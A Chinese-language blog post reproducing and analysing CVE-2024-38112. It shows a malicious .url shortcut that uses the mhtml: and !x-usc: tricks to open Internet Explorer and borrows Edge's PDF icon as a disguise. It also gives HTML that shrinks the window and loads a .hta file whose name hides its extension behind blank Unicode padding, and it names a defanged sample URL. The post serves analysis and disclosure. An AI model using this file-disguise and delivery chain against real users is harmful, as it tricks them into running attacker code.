都 2024 年了,即使 IE 已经几乎看不到了,但是它留下来的漏洞直到今天还有影响。参考了 Check Point Research 的一篇文章,简单重现并分析一下利用.url 文件调用 IE 来运行.hta 文件的漏洞。该漏洞编号为 CVE-2024-38112,可以在未安装补丁的 Windows10/11 系统上运行,补丁已在 2024 年 7 月 9 日发布,并且已经在 Windows 月度更新中推送。
漏洞重现
先来看看主角,被利用的.url 文件


但是一但放在桌面上,不仔细看是看不出来它其实是一个快捷方式的

双击运行一下试试(由于写文章时已经安装了补丁,此处直接显示打开后的样子)


单击打开即运行.hta 文件(此处为我随便找的.hta 程序)


在安装补丁前(7 月 16 日),以我目前使用的安全软件 ESET 为例测试,拦截时仅仅拦截已经拉黑的网址,而不是根据行为拦截.url 文件,因此在未安装补丁的系统上仍然可以很容易的实现执行指定程序的目标。
分析
想要利用这个漏洞,需要使用多个技巧,这些技巧被利用在.url 文件和.hta 文件上。
.url 文件
.url 文件作为快捷方式,在 Windows 中是不显示后缀名的,因此命名为 *.pdf 非常有迷惑性。为了增强迷惑性,还使用了 Microsoft Edge 的 pdf 文件图标。(恐怕大部分人都是默认用 Edge 打开 pdf 文件)
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
除此之外,为了调用 IE,使用了特殊前缀mhtml:
,并且在 url 链接中加入了!x-usc:
。
URL=mhtml:https://xxx.xxxxx.xxx/xxx.html!x-usc:https://xxx.xxxxx.xxx/xxx.html
文件源码:
(核心部分即为上述三行,其中 [{000214A0-0000-0000-C000-000000000046}] 为FMTID_Intshcut 属性存储,至于为什么 Prop3=19,0 则可能是 Windows 自动生成快捷方式的问题,通常网页为 Prop3=19,2,而外部程序链接(如 steam://xxx)才为 Prop3=19,0)
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,0
[InternetShortcut]
IDList=
URL=mhtml:https://xxx.xxxxx.xxx/xxx.html!x-usc:https://xxx.xxxxx.xxx/xxx.html
HotKey=0
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
.html 文件
.html 文件起到了运行.hta 文件的作用,但是在非 IE 浏览器中并不会运行.hta 文件,而是直接将其下载,这也就是为什么样本.url 文件要使用 IE 运行。在分析具体病毒样本时,其 html 中添加了非必须的 php。
在 html 中也有两行很有意思的代码
window.open('','_self','');
window.resizeTo(1, 1);
为了遮人耳目,竟然想到了把窗口缩小的办法。
由于原样本中含有未知的 php 文件,我仅仅使用了核心的源码
<!DOCTYPE html>
<html lang="en">
<head>
<script>
window.open('','_self','');
window.resizeTo(1, 1);
</script>
</head>
<body>
<iframe src="https://xxx.xxxxx.xxx/ie.pdf%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80.hta" height="200" width="300" title="This is a test"></iframe>
</body>
</html>
.hta 文件
在上面的 html 源码中你可能就发现了有些奇怪的地方,没错,就是这个.hta 文件的名字。其名字中加入的大量的 %E2%A0%80
在经过 url 解码后是一个空白符。就是这些空白符让我们在执行文件时根本看不到它实际的后缀名。

%E2%A0%80
的文件,隐藏了真实的后缀名,但是和下图还是有区别的
%E2%A0%80
的文件,这下原形毕露了总结
在这个攻击的过程中通过利用 url 文件的特性来伪装成 pdf 文件,并且利用 mhtml:
来调用 IE 而不是其它更安全的浏览器,最后还利用了 %E2%A0%80
来掩盖其真实后缀名。
最后,我想说一些其它的东西。这是我第一次认认真真分析一个样本,在我分析的样本 hxxps://cbmelipilla.cl/te/test.html 时,我意外的发现在我多次查看其 html 源码时,它竟然在变,也就是说这个攻击者仍在不断的修改。当时已经是晚上十点多了,如果按照.cl 智利域名来看,当时智利是上午十点多,好像也不是不可能,更多的信息我也没有去仔细的分析,就这样吧。